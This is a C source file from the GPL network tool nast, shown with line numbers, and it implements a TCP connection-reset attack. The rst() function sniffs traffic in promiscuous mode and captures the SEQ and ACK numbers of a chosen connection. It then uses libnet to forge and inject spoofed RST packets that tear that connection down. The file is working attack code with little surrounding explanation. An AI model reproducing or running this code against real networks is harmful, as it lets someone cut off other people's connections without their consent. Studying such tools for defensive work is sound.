1 /*
2 nast
3
4 This program is free software; you can redistribute it and/or modify
5 it under the terms of the GNU General Public License as published by
6 the Free Software Foundation; either version 2 of the License, or
7 (at your option) any later version.
8
9 This program is distributed in the hope that it will be useful,
10 but WITHOUT ANY WARRANTY; without even the implied warranty of
11 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 GNU General Public License for more details.
13
14 You should have received a copy of the GNU General Public License
15 along with this program; if not, write to the Free Software
16 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
17
18 */
19
20 #include "include/nast.h"
21
22 struct pkt
23 {
24 u_long seq;
25 u_long ack;
26 };
27 char errbuf[256];
28 struct pkt info;
29
30 /* reset a connection */
31
rst(char * dev,u_long ip_src,u_long ip_dst,u_short sport,u_short dport)32 int rst (char *dev,u_long ip_src,u_long ip_dst,u_short sport,u_short dport)
33 {
34 struct libnet_ipv4_hdr *ip;
35 struct libnet_tcp_hdr *tcp;
36 libnet_t *l;
37 u_short n;
38
39 #ifdef HAVE_LIBNCURSES
40 if(graph)
41 init_scr();
42 #endif
43
44 if (demonize)
45 {
46 w_error(0,"Is very useless demonize me in resetting connection! Omit");
47 demonize=0;
48 }
49
50 pcap_lookupnet (dev,&netp,&maskp,errbuf);
51
52 if((descr=pcap_open_live(dev, BUFSIZ, PROMISC, 10, errbuf)) == NULL)
53 {
54 w_error(1, "pcap_open_live: %s\n", errbuf);
55 }
56
57 offset=(device(dev,descr));
58
59 if (sport && dport)
60 n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s:%d -> %s:%d)\n",libnet_addr2name4(ip_src , 0),sport,libnet_addr2name4(ip_dst , 0),dport);
61 else if (!dport && sport)
62 n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s:%d -> %s)\n",libnet_addr2name4(ip_src , 0),sport,libnet_addr2name4(ip_dst , 0));
63 else if (!sport && dport)
64 n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s -> %s:%d)\n",libnet_addr2name4(ip_src , 0),libnet_addr2name4(ip_dst , 0),dport);
65
66 for (;;)
67 {
68
69 packet = (u_char *) pcap_next(descr, &hdr);
70
71 ip = (struct libnet_ipv4_hdr *) (packet + offset);
72 if (ip->ip_p != IPPROTO_TCP)
73 continue;
74 if ((ip->ip_src.s_addr != ip_src) || (ip->ip_dst.s_addr != ip_dst))
75 continue;
76 tcp = (struct libnet_tcp_hdr *) (packet + offset + sizeof (struct libnet_ipv4_hdr));
77
78 if (!(tcp->th_flags & TH_ACK))
79 continue;
80
81 /* the specified port are not either zero */
82 if (sport && dport)
83 {
84 if ((tcp->th_sport != htons(sport)) || (tcp->th_dport != htons(dport)))
85 continue;
86 }
87 /* dport is 0 */
88 else if (!dport && sport)
89 {
90 if ((tcp->th_sport != htons(sport)))
91 continue;
92 /* DPORT */
93 dport = htons (tcp->th_dport);
94 }
95 /* sport is 0 */
96 else if (!sport && dport)
97 {
98 if ((tcp->th_dport != htons(dport)))
99 continue;
100 /* SPORT */
101 sport = htons (tcp->th_sport);
102 }
103
104 info.seq = htonl (tcp->th_seq);
105 info.ack = htonl (tcp->th_ack);
106
107 n_print("princ",3,1,0,"- Stoled SEQ (%lu) ACK (%lu)...\n", info.seq, info.ack);
108 break;
109 }
110
111 pcap_close(descr);
112
113 /* second part */
114
115 if ((l = libnet_init (LIBNET_RAW4, NULL, errbuf))==NULL)
116 {
117 w_error(1, "libnet_init: %s\n", errbuf);
118 }
119
120 if (libnet_build_tcp (sport, dport, info.seq, info.ack, TH_RST, 32767, 0, 0, LIBNET_TCP_H, NULL, 0, l, 0)==-1)
121 {
122 libnet_destroy (l);
123 w_error(1, "Error building tcp header : %s\n" ,libnet_geterror(l));
124 }
125
126 if (libnet_build_ipv4 (LIBNET_TCP_H + LIBNET_IPV4_H, 0x08, 35320, 0, 64, IPPROTO_TCP, 0, ip_src , ip_dst , NULL, 0, l, 0)==-1)
127 {
128 libnet_destroy (l);
129 w_error(1, "Error building ip header : %s\n", libnet_geterror(l));
130 }
131
132 /* send 2 packet for security :) */
133 for (n = 0; n < 2 ; n++)
134 if (libnet_write (l) == -1)
135 {
136 libnet_destroy(l);
137 w_error(1, "Error writing packet on wire : %s\n", libnet_geterror(l));
138 }
139
140 libnet_destroy(l);
141 n_print("princ",5,1,0,"- Connection has been resetted\n\n");
142
143 return (0);
144 }
145